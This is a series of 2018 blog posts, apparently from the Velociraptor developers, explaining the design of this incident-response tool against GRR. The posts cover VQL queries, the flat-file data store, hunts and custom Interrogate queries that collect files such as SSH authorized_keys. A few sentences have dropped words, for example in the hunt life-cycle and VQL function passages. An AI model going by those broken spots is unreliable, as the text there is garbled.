Velociraptor does away with all that by including rich client side functionality (through VQL plugins), and implementing VQL queries to perform the filtering. This means that in reality, Velociraptor has very few client round trips, generally just one: The VQL query is sent to the client, and the result is received by the server.

Some types of analysis require the results of one operation to feed into the next operation. For example, suppose we wanted to upload all executables that are run from a temp directory. This requires listing all processes, then filtering the ones running from a temp directory, and finally uploading those to the server.

GRR's model requires writing a new flow for this - the flow first issues a ListProcesses request to the client, then receives all processes where the filtering happens on the server. The server then issues upload commands for each matching process. Performing this analysis requires writing and deploying new code making it difficult to adapt rapidly to changing threats.

With Velociraptor one simply issues the following VQL query:

LET files = SELECT Exe, Cmdline, Username FROM pslist()
        WHERE Exe =~ '(?i)temp'
SELECT Exe, Cmdline, Username, upload(file=Exe) AS Upload
  FROM files

VQL avoids this round trip completely, since VQL queries can be nested and chained together. Therefore one simply runs the first query (list all processes running from temp directory), and sends the results to the next query (download the matching files) inside the same VQL client request. It is rare that Velociraptor flows run multiple client round trips, resulting in lightweight and fast completing flows.

Worker and Database queues.

The GRR model of long running flows with multiple client/server interactions required more complex design. Since client messages can be delivered in multiple POST requests, and a single request can result in multiple responses, GRR must queue responses somewhere until they are all ready to be processed. Otherwise writing GRR flows would be difficult because one would need to account for incomplete responses.

GRR uses a complex request/response protocol to ensure messages are delivered in order, reminiscent of the TCP stack's packet reassembling algorithms.

Consider the simple request "ListDirectory". The client request may elicit thousands of responses (one for each file) and may span multiple POST operations. The GRR frontend queues all the responses in the database until it receives a STATUS response, and then fetches once. So even if the client sends the responses over multiple packets, the flow only sees a single list. When a status message is seen by the frontend, it notifies the worker via a worker queue, which collects all responses, orders them by response ID and delivers to the flow object.

This design is necessary if flows are long lived and need to handle thousands of responses for each request. However in practice this design has a couple of serious problems:

The frontend receives responses and just writes them into the database in special queue rows, then the worker reads them from the queue rows for processing (after which they must be deleted from the database). This leads to a lot of unnecessary read/write/delete cycles and extra load on the database.
The worker queue rows are used by all clients and all flows. This leads to a lot of database contention on these rows. Extra care must be taken to ensure no race conditions, through careful management of database locks. Extra locks slow down the database and typically for a busy system queue contention is a huge bottleneck.

This is easy to observe in practice on a busy GRR system (i.e. one that is running many flows or hunts) by simply looking at the output from top. Typically the mysql process uses as much CPU or more than the frontends and workers combined. This indicates a huge load on the database and limits scalability. Increasing the number of frontends only helps marginally because the database throughput becomes the limiting factor. In fact, increasing the number of workers can deteriorate performance because workers poll on their queues while holding locks thereby increasing row lock contention even more.

Velociraptor takes a different approach. Since Velociraptor flows are very simple and typically only consist of a few request/response cycles, the server does not bother to reorder replies that come in different packets. Therefore there is no need to temporarily store or queue responses. Responses can be delivered to the flow as soon as they are received - and flows typically just write them to the database in their final storage location.

Therefore Velociraptor does not have a dedicated worker, nor does it have database queues. The frontend itself runs the flows directly on the received packets while serving the client's poll request. This completely eliminates the need for worker queues and their associated database contention issues. Removing the worker queues eliminates a significant amount of very complex and delicate code. Additionally, since the responses are not written/read to the queue, the total load on the database is significantly reduced. (In fact because database lock contention is so low, Velociraptor can work very well with plain files through the FileBaseDataStore, even at large scale!)

The following illustration demonstrates how significant this is for the simple example of a ListDirectory request of a directory with 1000 files in it (e.g. the c:windows directory). The equivalent VQL is select * from glob(paths='c:/windows/*') and only produces a single response packet containing all the files in the one table, whereas GRR's ListDirectory client action produces a single response for each file, which is then queued and stored independently in the database.

The overall effect, in the GRR case, is that 2000 database rows are created, of which 1000 rows are immediately deleted - a significant database load. Compare this with the Velociraptor equivalent flow -the VQL request is sent to the client once, then the response is returned to the frontend in a single POST operation. Since Velociraptor does not have a separate worker and does not need to queue messages to it, the frontend immediately runs the flow which just writes the result into a single DB row - total database operations: 1 row written.

Eliminating the need for a separate worker process also simplifies deployment significantly. GRR needs to deploy separate frontends and worker processes, and it is often difficult to know which one to scale up. Scaling up the frontend will allow more packets to be received but actually increases the load on the database. Not having sufficient workers will leave many requests on the queue for a long time and will prolong the execution of the flow since a worker must run the flow in order to issue the next set of requests. This leads to flows which take many hours to complete and even hung flows (if the client reboots or disconnects before the flow finished).

Velociraptor deployment is much simpler - there is only a single binary and it can be scaled and load balanced as needed. Since database load is much lower, the frontend can handle a much larger load. Furthermore, the flows typically execute in very short time (since there is only one round trip). The overall result is that flow throughput is much increased and resource usage is reduced.

Files, files everything is just a file!

Fri, 10 Aug 2018 04:10:06 +0000

GRR's original design abstracted the data storage to a simple key/value store originally based around Bigtable. For open source deployments various key value stores were used starting from MongoDB, to SQLite and finally MySQL. Although the original idea was to use a simple key/value implementation, due to locking requirements the data store implementation became very complex.

As Velociraptor introduced a major redesign of the underlying data store architecture, we are now able to relax our demands of the datastore and use a true key/value model (since we have no requirements for locking and synchronization). The default data store is now the FileBaseDataStore which stores all data in flat files.

Using flat files over a database has many advantages, including ease of deployment, and simplification of the data model. Having flat files allows one to use standard tools to visualize Velociraptor's data structures (e.g. with less), archive old data (e.g. with tar/zip) and clean up old data (e.g. with find/rm). Velociraptor also includes an inspect command which allows users to decode the stored files and provides context as to what these files actually mean. This simplicity increases the transparency in the system and makes it more accessible for deployers, while increasing reliability, stability and speed.

In the following section we examine some of the files in the datastore and see how they relate to the features we discuss elsewhere in this document.

File organization

The Velociraptor data store needs to provide only two types of operations: Read and Write complete files and list files in a directory. Using only these primitives we can implement the entire filestore. Most modern file systems provide very fast file creation, reading and deletion, as well as fast directory listing, even when containing millions of files. Modern file systems also provide advanced features like caching, journaling and rollbacks so it is not such a crazy idea to use the file systems themselves as a data store.

Let's begin by listing the files in a typical Velociraptor file store using the find command. We then use the velociraptor inspect command to view the file's content.

Searching

Searching for clients is implemented by simply creating empty files in directories based on the search term. For example in order to retrieve all clients which have the user "mic", we simply list the directory client\_index/user%3Amic:

$ find ./client_index/

 ./client\_index/c.84216c7aab97557d
 ./client\_index/c.84216c7aab97557d/C.84216c7aab97557d.db./client\_index/user%3Amic
 ./client\_index/user%3Amic/C.84216c7aab97557d.db
 ./client\_index/user%3Amic/C.1b0cddfffbfe40f5.db./client\_index/all
 ./client\_index/all/C.84216c7aab97557d.db
 ./client\_index/all/C.1b0cddfffbfe40f5.db

Modern file systems can hold many thousands of files in the same directory and list these very quickly. This feature is only really used in the GUI's search box but can also be used to script or post process collected data.

Client information

Information about each client is kept in a directory based on the client's ID:

./C.0fc63b45671af1a6/ping.db                   <- Last ping stats.
./C.0fc63b45671af1a6/key.db                    <- Client's public key
./C.0fc63b45671af1a6/flows
./C.0fc63b45671af1a6/flows/F.a8787c26.db       <- Flows running on this client.
./C.0fc63b45671af1a6/flows/F.e05952ff.db
./C.0fc63b45671af1a6/tasks
./C.0fc63b45671af1a6/tasks/1533517805834284.db <- Client messages waiting to be collected.
./C.0fc63b45671af1a6/tasks/1533517805834283.db
./C.0fc63b45671af1a6/tasks/1533517206859989.db
./C.0fc63b45671af1a6/tasks/1533517206860477.db
./C.84216c7aab97557d.db                        <- Client information (from Interrogate).

Each piece of data is kept in its own file as an encoded protobuf. Files all have their names end with ".db". Velociraptor has an inspect command which decodes the protobuf and displays it in a human friendly way. For example let us see what information we keep about each s last poll:

$ velociraptor --config server.yaml inspect /tmp/velociraptor/C.2d406f47d80f5583/ping.db
{
  "ipAddress": "127.0.0.1:33600","ping": "1533517053018582"
}

The Flow's results.

Velociraptor's flows typically only produce VQL results. As described above, the VQL results are typically split into parts by the client (by default 10000 rows per part), and Velociraptor simply writes these in the flow's directory:

./C.1b0cddfffbfe40f5/flows/F.a31255a1
./C.1b0cddfffbfe40f5/flows/F.a31255a1/results
./C.1b0cddfffbfe40f5/flows/F.a31255a1/results/0.db   <- VQL result part 1.
./C.1b0cddfffbfe40f5/flows/F.a31255a1.db             <- Flow information.

Velociraptor's inspect command understands that VQL collections represent a table of results, and so it displays these in a more friendly way.

$ velociraptor --config server.yaml inspect /tmp/velociraptor/C.1b0cddfffbfe40f5/flows/F.a31255a1/results/0.db
+-------+----------------+---------+------+-----------------------------+----------------------------+
| ISDIR |    FULLPATH    |  SIZE   | MODE |            MTIME            |            ATIME           |
+-------+----------------+---------+------+-----------------------------+----------------------------+
| false |  /bin/bash     | 1037528 |  493 |  2017-05-16T22:49:55+10:00  |  2018-01-22T12:47:25+10:00 |
| false |  /bin/busybox  | 1964536 |  493 |  2015-08-19T22:07:39+10:00  |  2018-01-23T15:41:46+10:00 |
+-------+----------------+---------+------+-----------------------------+----------------------------+
File Finder Response: SELECT IsDir , FullPath , Size , Mode , mtime , atime , ctime,
   upload(file=FullPath)as Upload FROM files

We can also see the original VQL query which was run to produce this output. The bottom line, though, is that the entire flow's result is just a flat JSON encoded file. You can easily decode the data using any programming language and post process it in whatever way is appropriate (e.g. export the results to BigQuery or ElasticSearch). Velociraptor does not really do anything with the result other than just store it on disk.

The Virtual File System

As described above, Velociraptor's VFS consists of VQL tables for each directory on the client, listing the entire directory content:

./C.1b0cddfffbfe40f5/vfs/usr/share/doc/gir1.2-freedesktop.db
./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libdatrie1.db
./C.1b0cddfffbfe40f5/vfs/usr/share/doc/dh-strip-nondeterminism.db
./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libcap2-bin.db
./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libsoup2.4-1.db
./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libgphoto2-port12.db
./C.1b0cddfffbfe40f5/vfs/usr/share/doc/libsodium18.db

Inspecting each of these shows it is just a simple VQL table. This particular VFS entry was produced from a recursive directory listing of /usr (of depth 5).

$ velociraptor --config server.yaml inspect .../vfs/usr/share/doc/libcap2-bin.db
+-------+--------------------------------+---------------------+------+-----------+--------------------
| ISDIR |            FULLPATH            |        NAME         | SIZE |   MODE    |           MTIME
+-------+--------------------------------+---------------------+------+-----------+--------------------
| false | /usr/share/doc/libcap2-bin/REA | README.Debian       | 1149 |       420 | 2015-10-02T23:34:07
|       | DME.Debian                     |                     |      |           |
| false | /usr/share/doc/libcap2-bin/cha | changelog.Debian.gz |   30 | 134218239 | 2015-10-24T07:11:34
|       | ngelog.Debian.gz               |                     |      |           |
| false | /usr/share/doc/libcap2-bin/cop | copyright           | 4367 |       420 | 2015-10-02T23:34:07
|       | yright                         |                     |      |           |
+-------+--------------------------------+---------------------+------+-----------+--------------------
/usr: SELECT IsDir, FullPath as _FullPath, Name, Size, Mode, timestamp(epoch=Sys.Mtim.Sec) as mtime,
  timestamp(epoch=Sys.Atim.Sec) as ys.Ctim.Sec) as ctime FROM glob(globs=path + '/**5')

Hunting - What Velociraptors do best!

Fri, 10 Aug 2018 04:10:06 +0000

Velociraptor has completely redesigned the way that hunts are implemented in order to avoid database locking and increase hunt processing efficiency.

Now we hunt like this:

How are hunts scheduled?

GRR allows hunts to be scheduled by a few client properties such as OS type, label, users etc. This works because GRR has an extensive data model of endpoint properties. However, this requires that the data model be refreshed periodically to be kept accurate. For example, to run a hunt of all machines with a suspected compromised user account we can schedule the run on all machines where the user has logged in, but because GRR uses its data model to decide if a machine should be issued the hunt, the data model may be out of date and GRR will not schedule the hunt on machines which have only recently been logged into. For this reason we typically run the Interrogate hunt very frequently causing a lot of extra load on the system and clients hoping to minimize the time window where the data model is out of date with reality.

Velociraptor's approach is different - since Velociraptor does not really maintain a data model server side, we check the client's information for every hunt, before we even decide if the hunt should be scheduled for this client. This is done by issuing a VQL query to the client.

Sometimes we don't necessarily want the client to know exactly why we are scheduling the hunt (e.g. in the compromised user account case we don't want to advertise the exact username we are looking for). In these cases we run another VQL query on the server side.

So hunt selection is managed by two different VQL queries - a client side one and a server side on.

The default client side VQL queries simply collects the usual facts like OS version, Username etc, while the server side query filters the results with more specific conditions. This approach does not reveal to the client the hunt's condition:

Client side VQL:
    SELECT OS, Architecture, Fqdn, Platform,
      config.Client_labels AS Labels
      FROM info()

Server side VQL:
    SELECT * from rows
      WHERE Fqdn =~ '(?i)myhostname.+' AND 'MY_LABEL' IN Labels

The hunt's life cycle

When the hunt is started, the server updates its in-memory list of active hunts managed by the Foreman. Clients then poll the foreman for new hunts they should participate in. Clients remember the last hunt they participated in and so they present this hunt's timestamp to the foreman. If a new hunt is available, the foreman can immediately launch the CheckHuntCondition flow on the client.

The clients themselves are actively keeping track of the hunts they participated in. This avoids the server having to check the client's DB record.

The CheckHuntCondition flow issues the client side VQL queries and then runs the server side query on the results. If the query matches (i.e. the hunt should be scheduled for this client), the client's record is written into the hunt's "pending" queue.

The hunt manager

Each hunt specifies its own client recruitment rate (i.e. how many clients will be started per minute). The hunt manager is a component which periodically reads all hunts and schedules flows for these hunts if the hunts' client rate allows for more clients to be scheduled. It does this by moving clients from the pending queue to the running queue and starting respective flows for them.

Once each of those flows completes, the record is moved from the running queue to the completed queue or the results queue if the flow produced any results. We can observe how many clients exist in each queue using the GUI.

The flows that hunts launch arn the client. However, when they complete, a small record is made in the hunts's results queue pointing to the flow. It is therefore possible to retrieve all results from the hunt from all client's. For example, the GUI allows downloading a zip file of all the results and files uploaded:

Since hunts invoke regular flows, and Velociraptor flows are much lighter than GRR's flows, hunts are much cheaper to run in terms of resources consumed.

Interrogation - Make the endpoint tell us what it knows!

Fri, 10 Aug 2018 04:10:06 +0000

When writing Velociraptor we decided to keep things very simple - we did away with a lot of the information gathered during interrogate in favor of a much simpler data model.

Data Modelling - The Interrogate Flow

GRR maintains an elaborate model of client data. For example, GRR collects and maintains a list of clients' network interfaces, users, user's home directory etc. This information is maintained in elaborate protobufs and stored in the database in many rows.

While some of this information is needed for client searching, GRR maintains vastly more information than necessary in this data model. The client data model is built during the interrogate phase (A periodic flow run on the clients to refresh server side data).

Maintaining such a complex data model results in a very rigid design. For example, if a user wanted to collect more information from clients they would need to modify protobufs, update the interrogate flow, recompile the code and redeploy. These modifications are also very invasive as once code has been heavily modified, there is an overhead of keeping these modifications in sync with newer upstream versions.

Velociraptor also maintains client information via its Interrogate flow. However, Velociraptor's interrogate flow simply issues a series of VQL queries, and these responses are stored directly in the database with minimal interpretation. Indexes are maintained for some information which users should be able to search on, but there is no attempt to build or maintain a client data model at all (You can see details of the model described below in the FileBaseDataStore post).

The advantage of this approach is that users can simply add extra VQL queries to the interrogate phase to collect more tailored site specific information. This does not require compiling of any code or redeploying the server. The following example illustrates the power of this technique.

Customizing the Interrogate flow.

Normally Velociraptor collects minimal information from the client upon interrogation (i.e. when the client first enrols or when interrogated periodically). However it is very easy to customize this collection depending on local site requirements. In this section we work through a step by step example of extending the Velociraptor interrogate flow.

Suppose that in our deployment we wanted to check if a machine is able to be logged into remotely. For a Linux machine we want to see all authorized_keys files on every machine that enrolls. Collecting this information allows us to quickly see which machines a compromised user account could spread to.

We know we need to issue a VQL query but we are not 100% sure which one. Luckily we can use Velociraptor itself to run the query locally using the syntax "velociraptor query <query>".

Start with a simple glob query to find all authorized_keys files:

SELECT FullPath from glob(globs="/home/*/.ssh/authorized_keys")

Suppose we now want to actually grab a copy of all files so we can archive them on the server This will keep a record of the authorized keys on the server for each Interrogate flow. If we run the flow periodically we will end up with a time based evolution of the authorized keys files on each host. Pretty handy!

SELECT FullPath,
   timestamp(epoch=Sys.Mtim.Sec) as Mtime,
   upload(file=FullPath) as Upload
FROM glob(globs="/home/*/.ssh/authorized_keys")

We can run the query locally using the Velociraptor tool:

mic@localhost:/tmp> velociraptor query "select FullPath, \
   timestamp(epoch=Sys.Mtim.Sec) as Mtime, \
   upload(file=FullPath) as Upload \
   FROM glob(globs=['/home/*/.ssh/authorized_keys'])"

velociraptor: Uploaded home/mic/.ssh/authorized_keys (395 bytes)
[
 {
  "FullPath": "/home/mic/.ssh/authorized_keys",
  "Mtime": "2018-08-03T18:20:19+10:00",
  "Upload": {
    "Path": "home/mic/.ssh/authorized_keys",
    "Size": 395
 }
}
]

Velociraptor's query command enables us to run the query directly on the local host and observe the results. When the same query is issued to the Velociraptor client, the same result will be generated and sent to the server. This enables us to interactively develop and test our queries without needing to run a full client/server.

Note the upload() VQL function which causes the file to be uploaded to the server. (When run locally the file will be copied to the upload directory as can be seen by the upload confirmation message), but when run within the Velociraptor client, the file will be uploaded to the server and stored within the flow.

We can now add the query to all Interrogate flows that will be run from now on. We simply add it to the configuration file under the Interrogate.additional_queries key:

Interrogate.additional_queries:
 Query:
   - Name: Authorized Keys
     VQL: >
       select FullPath, timestamp(epoch=Mtime.Sec) as Mtime,
       upload(file=FullPath) as Upload
       from glob(globs='/home/*/.ssh/authorized_keys')

From now on the additional query will be recorded for all clients. The GUI shows it in the client information page:

Velocidex Query Language (VQL)

Fri, 10 Aug 2018 04:10:06 +0000

This page is written about a very old version of VQL and is retained for historical purposes. Current VQL works differently - consult the current documentation.

VQL Overview

VQL is only loosely based around SQL in the sense that the general statement structure is similar. However, VQL is a very simple dialect. Like SQL, a VQL query produces a table of results with specific columns and multiple rows. Unlike SQL, the data inside each cell is not limited to simple primitive types (like string, integer etc). In fact any JSON serializable object can be generated in a table's cell. It is not uncommon to generate an entire JSON object with additional fields in each row for a single column.

The basic structure of a VQL statement is:

SELECT Column1, Column2, Column3
FROM plugin(arg=value) WHERE Column1 > 5

There are three main parts: Column selectors, Plugin and Filter Conditions.

Plugins

The VQL plugin is VQL's data source. Plugins are specific pieces of code which may accept arguments and generate a sequence of rows. VQL's strength is that these plugins are very easy to write and can be added to Velociraptor in order to add extra functionality.

Unlike SQL, VQL plugins take keyword arguments. This allows Velociraptor plugins to be easily customizable and adaptable. For example, a plugin may list all chrome extensions, and receive an argument pointing it to the user's home directory so it can flexibly be applied to different situations. The ability to provide arguments to plugins encourages writing more generic plugins which can be reused in multiple situations.

VQL plugins currently only accept keyword arguments. It is a syntax error to pass args without naming them - glob("/bin/*") is not valid syntax, it should be glob(globs="/bin/*")

It is important to appreciate that Plugins generate data dynamically. The data is not stored in a database table first! Plugins may begin generating data immediately and the VQL query will begin processing this data, even if the total amount of data is very large. The Plugin's data is not stored in memory all at once! This allows for plugins to produce an unbounded number of rows and the query will proceed until the required number of results is achieved.

Plugins may also be cancelled when the query completes, even if the plugin itself is not exhausted.

Column selectors

The Column selectors are a group of expressions specifying which columns will be produced in the output table. As mentioned previously, the values produced in each column are not limited to simple types -it is common to produce entire JSON objects (and even additional tables), lists of values etc.

The column selectors specify a transformation to be performed on the output of the plugin in producing the query's columns. The simplest transformation is a single "*", which means no transformation at all (i.e. relay to the output table exactly the output of the plugin).

Since plugins may produce any object (for example, a JSON object with nested fields), VQL column specifications can dereference nested fields within the produced data.

SELECT Sys.Mtim.Sec FROM glob(globs="/bin/*")

Specifying only selected columns can limit the number of columns produced and make the output more useful by removing unneeded fields. For example the following will produce a result table with two columns named FullPath and SIze and a row per file found in the /bin/ directory:

SELECT FullPath, Size from glob(globs="/bin/*")

Column specifications can consist of arbitrary expressions - for example addition, comparisons:

SELECT FullPath + '.bindir', Size from glob(globs="/bin/*") WHERE Size < 1000

In this case it is often useful to add a Column Alias (Note that column aliases can also be used in the WHERE clause):

SELECT FullPath + '.bindir' as Sanitized, Size from glob(globs="/bin/*")

VQL Functions provide a way to extend VQL expressions. Unlike full plugins they do not produce a sequence of rows, but simply produce a single value (which can be an arbitrary o function formats a timestamp as a string. This is useful since many plugins produce times in seconds since epoch time:

SELECT FullPath, timestamp(epoch=Sys.Mtim.Sec) as mtimefrom glob(globs="/bin/*")

Some VQL functions have side effects, or are more expensive to run. It is important to understand that VQL transforms the columns emitted from a plugin BEFORE it applies filtering conditions. This is needed in order to allow for column transformations to participate in the filter condition (via the alias).

Due to this order of operations the following query will upload all files, ignoring the WHERE condition because the upload() function will be evaluated on each row, even if the WHERE clause causes the row to be ignored:

SELECT FullPath, upload(path=FullPath)
 from glob(globs="/bin/*")
      WHERE Name =~ "bash"

To upload only the files matching the expression, the query must be split into two - the first query applies the filtering condition and the second query does the upload:

LET files = SELECT FullPath from glob(globs="/bin/*")
    WHERE Name =~ "bash"
SELECT FullPath, upload(path=FullPath) from files

VQL Subselects

Unlike SQL, VQL does not have a join operator. SQL is designed to work with databases, and databases have multiple strategies for optimizing query execution (like adding table indexes, query planners etc). Traditionally, SQL authors prefers joins over subselects because in a real database JOIN operations are more optimized to use the database's indexes and query optimizer. However JOIN operations are arguably harder to read and it is hard to predict the order at where operations will be run (e.g. which table will use an index and which will use a row scan).

Since VQL has no indexes nor does it have a query optimizer, implementing JOIN operations does not make sense. Instead, VQL implements subselects and multi-statement queries and using these tools it is possible for VQL authors to precisely control the query execution plan so it is most efficient.

In this sense VQL authors are left to specify the most efficient course of query execution themselves instead of relying on a query optimizer. This is normally done by dividing the query into smaller queries and combining their results in the best order.

Consider the following query that attempts to search small files for the keyword "foobar":

SELECT FullPath from glob(globs="/bin/*") where
   grep(path=FullPath, keywords=["foobar"]) and Size < 1000

Velociraptor will execute the following steps:

Run the glob() plugin to produce all the files in the /bin/ directory
Transform each row to produce the FullPath.
Evaluate the Filter condition on each row. The filter condition requires running the grep() plugin on each file looking for the keyword and evaluating if the SIze of the file is less than 1000.
If both conditions are TRUE then Velociraptor will emit the row into the result table.

It is obvious that this is an inefficient query because each and every file will be searched for the keyword regardless of its size. However, there is no point even trying if the file size is not less than 1000 bytes!

The problem here is that there are two conditions which both must be true - but each condition has a different cost associated with it. Clearly the grep() condition is more expensive since it requires opening the file and reading it completely. The Size condition is extremely cheap since it is just an integer comparison.

However, VQL is not aware of the relative cost of the two conditions -it does not know that grep() is inherently an expensive operation since to VQL it just looks like another function. Although VQL does some short cutting (for example it will cancel the grep() function if Size >= 1000) this shortcut cancellation may arrive too late to stop grep() from doing a significant amount of work. The VQL author must be aware of the relative costs of the different operations and how the query should be structured for maximum efficiency.

What we would really like is for VQL to evaluate the cheap condition, and only for those files smaller than 1000 bytes, evaluate the grep() condition. This allows us to eliminate most files immediately (since most files are larger than 1000 bytes) such that we only bother to grep() very few files.

This can be achieved by splitting the query into two and chaining them together:

LET file = select * from glob(globs="/bin/*") WHERE Size < 1000

SELECT FullPath from file WHERE grep(
   path=FullPath, keywords=["foobar"])

The LET keyword allows us to define a "stored query". A Stored Query is a query which is assigned into a variable name - you can think of the statement as running the entire query and storing the output into a single variable.

The second query then takes the result of this query and applies further transformations and filtering on it. By ensuring that the cheap conditions are evaluated in the stored query, we can ensure that the number of rows stored in the LET expression is smaller than the total number of rows produced by the glob() plugin, and therefore the grep() function will be applied on few rows.

::: {.note} ::: {.admonition-title} Note :::

You can think of stored queries as running in multiple steps: First the LET query is executed, then all its rows are stored in the files variable, while the second query reads each row and applies its own filtering on it. In reality though, the LET query is lazy in its evaluation and will only produce results when required. Velociraptor does not store the entire result table of the LET query in memory at once! It is quite safe therefore to run a very large query in the LET clause without fear of memory overrun. :::

Escaping parameters

VQL queries often need to take user input. For example consider the query:

SELECT FullPath from glob(globs="/bin/*")

We might want to allow the user to specify the glob expression and create the query programmatically. While it is possible to ensure user input is escaped this is inefficient and tedious.

VQL queries have an "Environment". The Environment is essentially the evaluation scope of the query - in other words it contains all the values which can be accessed by name. For example when we call a VQL function like timestamp(), it is placed in the evaluation scope. It is possible to place anything in the environment (or the evaluation scope) and in particular, user parameters can also be placed there. In this case there is no need to escape user input as it is treated as a part of the environment and not the query. For example placing PATH="/bin/*" into the environment, will allow the following query to run successfully:

SELECT FullPath from glob(globs=PATH)

You should always try to write VQL queries referring to parameters in the environment because this makes them reusable - the scope parameters become inputs to your query and the query becomes a reusable function.

Introducing Velociraptor

Thu, 09 Aug 2018 04:10:06 +0000

Hunting and responding like a raptor!

At Velocidex we have been running open source endpoint monitoring tools for our clients in order to detect and respond to incidents. One of our favorite tools is GRR, developed by Google internally and then released as open source. GRR is a very powerful tool, with a polished UI and good documentation.

Unfortunately the open source version released by Google suffers from some shortcomings and so we have decided to develop a new project, built on the shoulders of giants called Velociraptor.

These are Velociraptor's design goals:

Focus on data collection. Velociraptor's primary use case is to collect data and export it to other systems. Velociraptor does no analysis itself and therefore has no need for a complex data model.
Flexibility. Velociraptor can adapt easily to new requirements without needing to redeploy either clients or servers. Using VQL (Velocidex Query Language) provides flexibility in the type and number of queries that are used to rapidly adapt to changing requirements. VQL allows us to collect just the information needed and no more in an adaptive way.
Remove abstractions. Velociraptor aims to be as simple to understand as possible. The default data store simply stores files in the file system which may be easily inspected by the user. No special tooling is required to script or manage Velociraptor. Reduce demand on the data store. Rather than increase the data store requirements, we want to simplify the design to the point that requirements on the data store are so low, one can run a medium to large sized deployment with very few resources (down to perhaps a single server machine). In fact the default data store does not even use a database, but simply uses flat files.
Simplify everything! Velociraptor aims to be very simple to run and administer. We remove a lot of the GRR functionality that we don’t find we use often. Velociraptor ships as a single, statically linked executable which can perform all actions necessary for deployers.

In short we really wanted something like this:

Velociraptor is a new end point monitoring and IR tool built upon GRR's groundwork and experience. To be clear, we reused some of GRR's code and some design elements, but Velociraptor is a new project and is largely a rewrite of GRR's codebase. Like GRR, Velociraptor is released under an open source license and is a community project hosted on https://gitlab.com/velocidex/velociraptor.

It is still very early days and we would love to receive feedback and suggestions. This is the first technology preview release and we hope to make a more stable and comprehensive release in the coming months. As Velociraptor becomes more battle tested we hope the codebase will stabilize.

The near term roadmap is:

Improve support for more operating systems. Especially Windows:
Registry based VQL plugins.
NTFS support for raw disk access.
Memory scanning and rudimentary Memory analysis
Design a more efficient client/server communication mechanism - long polling is problematic since clients only poll infrequently (e.g. every 10 minutes). We want to be able to control all clients quickly.
Develop a library of VQL expressions which may be reusable. This should be similar to GRR's idea of Artifacts but be more geared towards VQL.

Please play with it and send feedback to velociraptor-discuss@googlegroups.com